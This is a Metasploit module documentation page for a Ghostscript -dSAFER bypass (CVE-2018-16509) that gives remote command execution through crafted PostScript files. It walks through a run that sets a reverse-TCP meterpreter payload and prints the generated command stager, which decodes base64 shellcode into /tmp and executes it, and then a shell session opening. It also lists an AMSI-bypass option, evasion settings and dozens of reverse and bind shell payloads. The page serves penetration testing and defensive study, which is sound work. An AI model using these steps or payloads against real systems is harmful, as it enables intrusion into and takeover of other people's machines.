Ghostscript Failed Restore Command Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/fileformat/ghostscript_failed_restore metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Ghostscript Failed Restore Command Execution
Module: exploit/multi/fileformat/ghostscript_failed_restore
Source code: modules/exploits/multi/fileformat/ghostscript_failed_restore.rb
Disclosure date: 2018-08-21
Last modification time: 2019-07-09 17:36:28 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-16509
This module exploits a -dSAFER bypass in Ghostscript to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess. This vulnerability is reachable via libraries such as ImageMagick.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/fileformat/ghostscript_failed_restore
msf exploit(ghostscript_failed_restore) > exploit
Knowledge Base
Introduction
This module exploits a -dSAFER bypass in Ghostscript to execute
arbitrary commands by handling a failed restore (grestore) in
PostScript to disable LockSafetyParams and avoid invalidaccess.
This vulnerability is reachable via libraries such as ImageMagick, and this module provides the latest vector for Ghostscript.
For previous Ghostscript vectors, please see the following modules:
exploit/unix/fileformat/ghostscript_type_confusion
exploit/unix/fileformat/imagemagick_delegate
Setup
Install Ghostscript and use the console command (gs on Unix and
gswin64c on Windows). You may also exploit the vulnerability through
ImageMagick using convert or identify, for example.
Targets
Id Name
-- ----
0 Unix (In-Memory)
1 PowerShell (In-Memory)
2 Linux (Dropper)
Options
FILENAME
Set this to the output file's name. Depending on the target environment,
the file extension may not matter, so the PS file could be named
msf.pdf, for instance. This can potentially work around filename
filters.
WritableDir
Set this to a writable directory without noexec.
Usage
msf5 > use exploit/multi/fileformat/ghostscript_failed_restore
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set target Linux (Dropper)
target => Linux (Dropper)
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set disablepayloadhandler false
disablepayloadhandler => false
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set wfsdelay 3600
wfsdelay => 3600
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set verbose true
verbose => true
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > run
[*] Started reverse TCP handler on 172.28.128.1:4444
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/hvQlm.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tgxVT' < '/tmp/hvQlm.b64' ; chmod +x '/tmp/tgxVT' ; '/tmp/tgxVT' ; rm -f '/tmp/tgxVT' ; rm -f '/tmp/hvQlm.b64'"]
[+] msf.ps stored at /Users/wvu/.msf4/local/msf.ps
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (816260 bytes) to 172.28.128.3
[*] Meterpreter session 1 opened (172.28.128.1:4444 -> 172.28.128.3:51648) at 2018-09-05 19:44:32 -0500
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer : 10.0.2.15
OS : Ubuntu 16.04 (Linux 4.4.0-134-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the multi/fileformat/ghostscript_failed_restore exploit module looks in the msfconsole:
msf6 > use exploit/multi/fileformat/ghostscript_failed_restore
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/fileformat/ghostscript_failed_restore) > show info
Name: Ghostscript Failed Restore Command Execution
Module: exploit/multi/fileformat/ghostscript_failed_restore
Platform: Unix, Linux, Windows
Arch: cmd, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2018-08-21
Provided by:
Tavis Ormandy
wvu <[email protected]>
Available targets:
Id Name
-- ----
0 Unix (In-Memory)
1 PowerShell (In-Memory)
2 Linux (Dropper)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.ps yes Output file
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Space: 4089
Description:
This module exploits a -dSAFER bypass in Ghostscript to execute
arbitrary commands by handling a failed restore (grestore) in
PostScript to disable LockSafetyParams and avoid invalidaccess. This
vulnerability is reachable via libraries such as ImageMagick.
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-16509
https://seclists.org/oss-sec/2018/q3/142
https://bugs.chromium.org/p/project-zero/issues/detail?id=1640
Related modules:
exploit/unix/fileformat/ghostscript_type_confusion
exploit/unix/fileformat/imagemagick_delegate
Module Options
This is a complete list of options available in the multi/fileformat/ghostscript_failed_restore exploit:
msf6 exploit(multi/fileformat/ghostscript_failed_restore) > show options
Module options (exploit/multi/fileformat/ghostscript_failed_restore):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.ps yes Output file
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
Advanced Options
Here is a complete list of advanced options supported by the multi/fileformat/ghostscript_failed_restore exploit:
msf6 exploit(multi/fileformat/ghostscript_failed_restore) > show advanced
Module advanced options (exploit/multi/fileformat/ghostscript_failed_restore):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_invokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes Writable dir for droppers
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/fileformat/ghostscript_failed_restore module can exploit:
msf6 exploit(multi/fileformat/ghostscript_failed_restore) > show targets
Exploit targets:
Id Name
-- ----
0 Unix (In-Memory)
1 PowerShell (In-Memory)
2 Linux (Dropper)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/fileformat/ghostscript_failed_restore exploit:
msf6 exploit(multi/fileformat/ghostscript_failed_restore) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/fileformat/ghostscript_failed_restore exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/fileformat/ghostscript_failed_restore) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Please choose a smaller payload
Here is a relevant code snippet related to the "Please choose a smaller payload" error message:
94: remove_comspec: true
95: )
96:
97: # XXX: Payload space applies to the payload, not the PSH command
98: if psh.length > targets[0].payload_space
99: fail_with(Failure::BadConfig, 'Please choose a smaller payload')
100: end
101:
102: sploit.sub!(PLACEHOLDER_COMMAND, psh)
103: when :linux_dropper
104: cmdstager = generate_cmdstager(
Please choose a smaller command stager
Here is a relevant code snippet related to the "Please choose a smaller command stager" error message:
106: temp: datastore['WritableDir']
107: ).join(';')
108:
109: # XXX: Payload space applies to the payload, not the command stager
110: if cmdstager.length > targets[0].payload_space
111: fail_with(Failure::BadConfig, 'Please choose a smaller command stager')
112: end
113:
114: sploit.sub!(PLACEHOLDER_COMMAND, cmdstager)
115: end
116:
Go back to menu.
Related Pull Requests
- #12072 Merged Pull Request: Fix cmd_psh_payload requiring an arch string
- #11769 Merged Pull Request: Change dump_aka to dump_notes and add field for related modules
- #10973 Merged Pull Request: Rework DisclosureDate check in msftidy, including ISO 8601 support
- #10750 Merged Pull Request: Fix formatting and convert a missed AKA reference
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #10604 Merged Pull Request: Add CVE reference to ghostscript_failed_restore.rb
- #10564 Merged Pull Request: Add Ghostscript failed restore exploit from taviso (CVE-2018-16509)
References
- CVE-2018-16509
- https://seclists.org/oss-sec/2018/q3/142
- https://bugs.chromium.org/p/project-zero/issues/detail?id=1640
See Also
Check also the following modules related to this module:
- exploit/multi/fileformat/adobe_u3d_meshcont
- exploit/multi/fileformat/archive_tar_arb_file_write
- exploit/multi/fileformat/evince_cbt_cmd_injection
- exploit/multi/fileformat/js_unpacker_eval_injection
- exploit/multi/fileformat/libreoffice_logo_exec
- exploit/multi/fileformat/libreoffice_macro_exec
- exploit/multi/fileformat/maple_maplet
- exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
- exploit/multi/fileformat/office_word_macro
- exploit/multi/fileformat/peazip_command_injection
- exploit/multi/fileformat/swagger_param_inject
- exploit/multi/fileformat/zip_slip
- exploit/unix/fileformat/ghostscript_type_confusion
- exploit/linux/http/symantec_web_gateway_restore
- exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce
- exploit/windows/fileformat/orbit_download_failed_bof
Related Nessus plugins:
- Debian DLA-1504-1 : ghostscript security update
- Slackware 14.2 / current : ghostscript (SSA:2018-256-01)
- Debian DSA-4294-1 : ghostscript - security update
- Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : Ghostscript vulnerabilities (USN-3768-1)
- Artifex Ghostscript < 9.25 PostScript Code Execution Vulnerability
- SUSE SLED12 / SLES12 Security Update : ghostscript (SUSE-SU-2018:2975-1)
- openSUSE Security Update : ghostscript (openSUSE-2018-1122)
- openSUSE Security Update : ghostscript (openSUSE-2018-1123)
- Amazon Linux 2 : ghostscript (ALAS-2018-1088)
- CentOS 7 : ghostscript (CESA-2018:2918)
Authors
- Tavis Ormandy
- wvu
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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